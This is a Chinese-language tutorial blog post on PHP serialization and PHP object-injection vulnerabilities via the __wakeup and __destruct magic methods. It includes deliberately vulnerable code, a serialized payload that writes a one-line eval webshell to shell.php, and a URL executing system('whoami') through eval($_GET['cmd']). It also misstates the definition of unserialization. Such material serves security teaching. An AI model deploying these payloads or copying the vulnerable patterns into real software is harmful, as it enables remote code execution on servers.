序列化和反序列化

序列化和反序列化

一.序列化

1.定义:就是将对象转换成为字符串。

2.简单的代码调试,举例说明

<?php
//序列化
error_reporting(0);   					//防止报错
class Student         				    //定义了一个Student的类
{
	public $name = 'deelmind';          //定义一个属性,即name这个变量,内容为deelmind
	// public $age = '20+';
	// private $lover = "fancy";
	function getName()                  //定义了一个函数(方法)名为getName
	{
		return "deelmind";				//这个方法的内容为deelmind

	}
}
	$s = new Student();                 //变量($s)创建对象
	echo $s->getName()."</br>";        //这个($s)对象调用getName()这个方法
	//serialize function()
	$s_serialize = serialize($s);     //序列化这个($s)这个对象
	print_r($s_serialize);           //输出序列化后的结果
	echo "</br>";

?>

在这里插入图片描述

3.输出结果

deelmind      
O:7:"Student":1:{s:4:"name";s:8:"deelmind";}

其中,O表示这是一个对象,7表示对象的长度,Student则是序列化的对象名称,1个成员。其中s表示是字符串,4表示属性名的长度,后面说明属性名称为“name”,属性内容为“deelmind”.

namedeelmind都是字符串
添加两个属性

public $age = '20+';                  //添加了年龄属性
	private $lover = "fancy";           //添加了私有属性

完整代码如下所示:

<?php
//序列化
error_reporting(0);
class Student
{
	public $name = 'deelmind';
	public $age = '20+';                  //添加了年龄属性
	private $lover = "fancy";           //添加了私有属性
	function getName()
	{
		return "deelmind";

	}
}
	$s = new Student();
	echo $s->getName()."</br>";
	//serialize function
	$s_serialize = serialize($s);//O:7:"Student":1:{s:4:"name";s:8:"deelmind";}
	print_r($s_serialize);
	echo "</br>";

?>

在这里插入图片描述
运行结果

deelmind
O:7:"Student":3:{s:4:"name";s:8:"deelmind";s:3:"age";s:3:"20+";s:14:"Studentlover";s:5:"fancy";}

结果中多了两个属性,Studentlover是特有的属性名

二、反序列化

1.定义:就是将对象转化成字符串

2.简单的代码调试

<?php
//反序列化
error_reporting(0);
class Student
{
	public $name = 'deelmind';
	function getName()
	{
		return "deelmind";

	}
}
	//反序列化
	$Student = 'O:7:"Student":1:{s:4:"name";s:9:"phpinfo()";}';
	//$Student = $_GET['s'];
	$s_unserialize = unserialize($Student);
	print_r($s_unserialize);
	echo "</br>";




?>

3.输出的结果

在这里插入图片描述

三、分析函数

1. __wakeup函数

适用场景:当反序列化恢复对象前调用,就会触发__wakeup函数

1.代码如下所示:

<?php
//反序列化
error_reporting(0);
class Student
{
	public $name = 'deelmind';
	// public $age = '20+';
	// private $lover = "fancy";
	function getName()
	{
		return "deelmind";

	}
	function __wakeup()
	{
		echo "__wakeup"."</br>";
		echo $this->name."</br>";

		$myfile = fopen("shell.php", "w") or die("Unable to open file!");

		fwrite($myfile, $this->name);

		fclose($myfile);

		echo "</br>";
	}
}
	$Student = 'O:7:"Student":1:{s:4:"name";s:9:"phpinfo()";}';
	// $Student = $_GET['s'];
	$s_unserialize = unserialize($Student);
	print_r($s_unserialize);
	echo "</br>";



?>

2.当我们执行反序列化的时候,它会默认的调用__wakeup这个函数,执行这个函数内的命令

在这里插入图片描述
3.我们尝试访问shell.php,发现shell.php的内容会被覆盖,并且会写入我们想要的内容

在这里插入图片描述
4.当我们发现这个漏洞时,尝试写入一句话木马,代码如下所示

<?php
//反序列化
error_reporting(0);
class Student
{
	public $name = 'deelmind';
	// public $age = '20+';
	// private $lover = "fancy";
	function getName()
	{
		return "deelmind";

	}
	function __wakeup()
	{
		echo "__wakeup"."</br>";
		echo $this->name."</br>";

		$myfile = fopen("shell.php", "w") or die("Unable to open file!");

		fwrite($myfile, $this->name);

		fclose($myfile);

		echo "</br>";
	}
}
	$Student = 'O:7:"Student":1:{s:4:"name";s:29:"<?php @eval($_POST['hhh']);?>";}';
	// $Student = $_GET['s'];
	$s_unserialize = unserialize($Student);
	print_r($s_unserialize);
	echo "</br>";



?>

在这里插入图片描述
5.当我们访问的时候会报错
在这里插入图片描述
6.此时,只需要将hhh的单引号装换成双引号即可
在这里插入图片描述
7.在此访问时,就可以成功执行
在这里插入图片描述
8.本地测试测试一下,一句话木马是否上传成功

在这里插入图片描述
9.成功执行命令。

2. __destruct函数

适用场景:当对象被销毁的时候,调用__destruct()函数

<?php
	class test{
		function __destruct(){
			echo "destruct...<br>";
			eval($_GET['cmd']);
		}
	}
	unserialize($_GET['u']);
?>

利用原理,__destruct()函数在对象销毁时会自动调用此方法,然后cmd参数传入PHP代码,即可达到任意代码执行。

http://127.0.0.1:83/F/test1.php?u=O:4:"test":0:{}&cmd=system("whoami");

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值